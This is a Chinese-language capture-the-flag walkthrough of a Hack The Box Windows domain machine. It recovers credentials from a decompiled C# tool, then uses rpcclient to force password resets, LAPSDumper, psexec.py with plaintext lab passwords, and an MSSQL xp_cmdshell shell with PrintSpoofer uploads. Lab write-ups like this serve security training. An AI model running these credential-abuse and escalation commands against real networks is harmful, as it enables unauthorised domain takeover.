这C#程序的主要功能是重新启动指定的 Oracle 服务。具体步骤如下:
使用RC4算法对密码进行加密。
创建一个隐藏窗口的命令行进程。
在该进程中执行命令,通过
sc.exe工具停止指定的服务,然后再启动该服务。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Threading;
namespace restart_oracle
{
class Program
{
public class RC4
{
public static byte[] Encrypt(byte[] pwd, byte[] data)
{
int a, i, j, k, tmp;
int[] key, box;
byte[] cipher;
key = new int[256];
box = new int[256];
cipher = new byte[data.Length];
for (i = 0; i < 256; i++)
{
key[i] = pwd[i % pwd.Length];
box[i] = i;
}
for (j = i = 0; i < 256; i++)
{
j = (j + box[i] + key[i]) % 256;
tmp = box[i];
box[i] = box[j];
box[j] = tmp;
}
for (a = j = i = 0; i < data.Length; i++)
{
a++;
a %= 256;
j += box[a];
j %= 256;
tmp = box[a];
box[a] = box[j];
box[j] = tmp;
k = box[((box[a] + box[j]) % 256)];
cipher[i] = (byte)(data[i] ^ k);
}
return cipher;
}
public static byte[] Decrypt(byte[] pwd, byte[] data)
{
return Encrypt(pwd, data);
}
public static byte[] StringToByteArray(String hex)
{
int NumberChars = hex.Length;
byte[] bytes = new byte[NumberChars / 2];
for (int i = 0; i < NumberChars; i += 2)
bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
return bytes;
}
}
static void Main()
{
string banner = @"
____ __ __ __
/ __ \___ _____/ /_____ ______/ /_ ____ ___ ______________ _/ /
/ /_/ / _ \/ ___/ __/ __ `/ ___/ __/ / __ `__ \/ ___/ ___/ __ `/ /
/ _, _/ __(__ ) /_/ /_/ / / / /_ / / / / / (__ |__ ) /_/ / /
/_/ |_|\___/____/\__/\__,_/_/ \__/ /_/ /_/ /_/____/____/\__, /_/
/_/
by @HelpDesk 2020
";
byte[] key = Encoding.ASCII.GetBytes("");
byte[] password_cipher = { };
byte[] resultado = RC4.Decrypt(key, password_cipher);
Console.WriteLine(banner);
Thread.Sleep(5000);
System.Diagnostics.Process psi = new System.Diagnostics.Process();
System.Security.SecureString ssPwd = new System.Security.SecureString();
psi.StartInfo.FileName = "c:\\windows\\syswow64\\cmd.exe";
psi.StartInfo.Arguments = "/c sc.exe stop SERVICENAME ; sc.exe start SERVICENAME";
psi.StartInfo.RedirectStandardOutput = true;
psi.StartInfo.UseShellExecute = false;
psi.StartInfo.UserName = "Jari";
string password = "";
for (int x = 0; x < password.Length; x++)
{
ssPwd.AppendChar(password[x]);
}
password = "";
psi.StartInfo.Password = ssPwd;
psi.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
psi.Start();
}
}
}file restart-mssql.exe

看文件的元数据
PE格式,64位的架构.net写的,两个section
看文件名应该是重启mssql的工具,那应该用凭据在里面,同样的逆向一下,
.net的逆向工具,搜一下.net exe reverse engineering tool
https://pelock.medium.com/reverse-engineering-tools-for-net-applications-a28275f185b4
https://www.apriorit.com/dev-blog/366-software-reverse-engineering-tools
https://dev.to/bartosz/top-10-reverse-engineering-tools-3ni3
上面的链接都是推荐逆向工具的,
但是我们现在要用的是.net的逆向工具,只找专门的工具。
dnSpy - .NET ultimate tool

https://github.com/0xd4d/dnSpy
直接去github上下载解压缩,右键以管理员身份启动。

导入进去后发现程序名叫restart-oracle。。。不知道是管理员忘记改名字还是。。。
直接找主函数Main

有刚才c#的源文件
加上逆向出来的这些内容
我们可以知道背后的逻辑大约是什么样的,

这里控制台打印出了value
那这个地方很可能就会暴露出凭据信息
在这行设一个断点
F5开始调试


看到这块会获得什么样的数据


在内存中查看。

ok,这里又拿到一组凭据Cos@Chung@!RPG
尝试ssh登陆不上去,再尝试evil-WinRM,ok,evil-WinRM可以登陆上去。

ok
现在梳理一下我们拿下的资产。


这些已经都Owned了
Jari用户的一级控制对象有两个,它可以强制修改GIBDEON用户和STOORMQ用户的账号密码。

现在换一种方法,因为之前的代理方式还是太慢太卡了,
rpcclient
rpcclient -U 'jari%Cos@Chung@!RPG' 10.10.10.240

这里面功能一大堆

这里要用到set user info to这个工具,
设置用户信息,设置谁的,gibdeon,哪些信息,修改密码,23,新密码。
setuserinfoto2 gibdeon 23 'A123...'

然后我们来验证一下这个密码修改是否生效。

看到是加号
证明gibdeon用户修改密码的操作是成功的。
把gibdeon标记成Owned
看一下gibdeon的信息,
First Degree Group Memberships一级群组关系

USUARIOS DEL DOMINIO域用户
OPERS.DE CUENTAS帐户操作员
域用户组里一堆用户。。。


看域用户组没有直接控制的对象

再看一下OPERS.DE CUENTAS帐户操作员的

接下来找域管理员的最近路径

因为我们拿下了多个账号凭据,所以这里有很多条路径都可以尝试。

直接尝试。
登录shh,查看用户组

如果能够读出来LAPS
那等于拿到了系统管理员的权限
看一下谁能读
net groups "LAPS READ" /domain

两个用户cybervaca;lothbrok
还有一个net groups "LAPS ADM" /domain

还是cybervaca用户。
=================
但是这个cybervaca用户不在账号管理员组控制下,而另一个lothbrok在这个组控制下

先修改一下lothbrok用户的密码
之前gibdeon用户密码已经修改了,直接登上去修改lothbrok的密码
setuserinfo2 lothbrok 23 'A123...'

修改完,验证一下

ok,lothbrok也标记成Woned,
再看一下最短路径

现在获得的shell连接的质量都不高,然后我要做的就是LAPS dump这个事,还有其他工具,搜一搜
LAPSDumper
这个库,简单明了~
https://github.com/n00py/LAPSDumper

python laps.py -u lothbrok -p A123... -d LicorDeBellota.htb -l 10.10.10.240

这个靶机有个很大的坑,就是你修改完用户的密码,过一会就被改回去了。
你有新的操作之前还待重新修改一次密码。
ok,这拿到的PIVOTAPI 后面的值就是administrator的凭据了,验证一下
要注意的是这台机器的语言不一样,administrator的账号名也有点区别是Administrador不是tor

验证管理员账号

Pwn3d!~~~
接下来怎么拿shell,这个也不能猜,还待试一试。
ssh组里面就一个用户。。。

winrm中也没有administrator用户。。。

还有高手呢~~~
psexec.py
这个是Python脚本也是Impact套件的一部分
为什么之前jari用户拿到了凭据不用这种方法尝试呢,
因为
psexec.py是先通过SMB就是共享,在目标计算机上建立一个会话,
然后上传可执行文件,启动服务之后执行这个文件。

jari这个用户没有共享是不可写的,所以后边的服务没法建立
所以在早期没有这些权限的时候
优先级不会想到先用psexec.py这个脚本的。
再试一下3v4Si0N用户,同样的共享不可写。

为什么管理员administrator可以呢,
因为我们能知道它是有最高权限的。
psexec.py administrador:'DytS1zcxm6jrMEDkzec4'@10.10.10.240

真的感动哭了~~~~
额,administrador桌面上竟然没有flag。。。

原来在cybervaca用户的桌面上。。。
c:\Users\cybervaca\Desktop

到此这台靶机的渗透测试已经结束,
拓展
SeImpersonatePrivilege权限
但是前面拿到数据库的权限的时候是有一条近路的,作为拓展放在后面。
当时看到SA用户有SeImpersonatePrivilege权限。
python3 mssqlproxy/mssqlclient.py 'LicorDebellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240'

PrintSpoofer提权
https://github.com/itm4n/PrintSpoofer
将这两个文件准备好

利用mssql_proxy代理,然后evil-WinRM连进去,然后上传文件是一种,
mssql_shell
这里使用另一种,mssql_shell
他也是用了xp_cmd_shell这个存储过程的功能来实现的,
逻辑也比较简单,你可能说那我不知道这个工具怎么办
事实上有一个思路
就是你能想到在数据库的shell中,就是刚才我们通过SA和mcu client
获得的这个数据库访问权限,你想把它转成系统shell或者是实现类似的功能
那别人肯定也会想到,这样你就拿这个关键词去搜就行了
你说非要自己造轮子,自己写一个
其实也是可以的,当然即使你不写
比如说你找到了一个,那你也要看他怎么实现的,用什么原理
当然你说我想提高我的代码能力
我用我熟悉的语言来实现,无论是Python还是go,
你自己去实现一次,这也是没有问题的,像这台靶机毕竟不是全新的机器
网上已经流传了一些利用,或者说这种利用场景在其他的攻防中是存在的
所以就会有类似的应用出现
借着我说明这点
附上一篇文章https://alamot.github.io/mssql_shell/
这个是代码https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py
代码中需要修改的地方。

然后这个是python2.7版本写的,我们想要用python3来运行的话需要修改一些地方,
先跑一下,看看哪里报错改哪里。

提示没有安装这个module
python2到三的升级程序需要做很多调整
会不会是库变了
因为这个背景哪怕没变动
但你一定要想到这个排查思路
其实很多利用当时都是版本二写的
后来升级到三利用就都不能用了
查看mssql库

看一下python3交互模式

直接修改脚本代码

再运行。又报错,直接GPT

GPT:看起来你遇到了一个 MSSQL 登录的问题。错误消息表明,登录尝试来自一个不受信任的域,并且不能使用集成身份验证。这可能是因为你的身份验证方式不正确,或者你正在尝试使用的域不被 SQL Server 视为受信任的域。
不能使用集成身份验证。。。
它不支持集成,那就只给它一个用户名

再执行

再验证一下权限

有SeImpersonatePrivilege。
新建一个文件夹,开始上传文件,

又报错了,模块base64,没有属性,而且退出了。
继续修改代码

在python3中encodestring已经弃用了。换的是encode bytes

再跑一次,
UPLOAD PrintSpoofer64.exe c:\AAA\PrintSpoofer64.exe

ok,没问题。
继续吧nc64.exe也上次了。

先PrintSpoofer64.exe -h看一下帮助,
再试一下实例给出的命令。

很遗憾,这里应该是系统限制了PrintSpoofer的利用。
评论区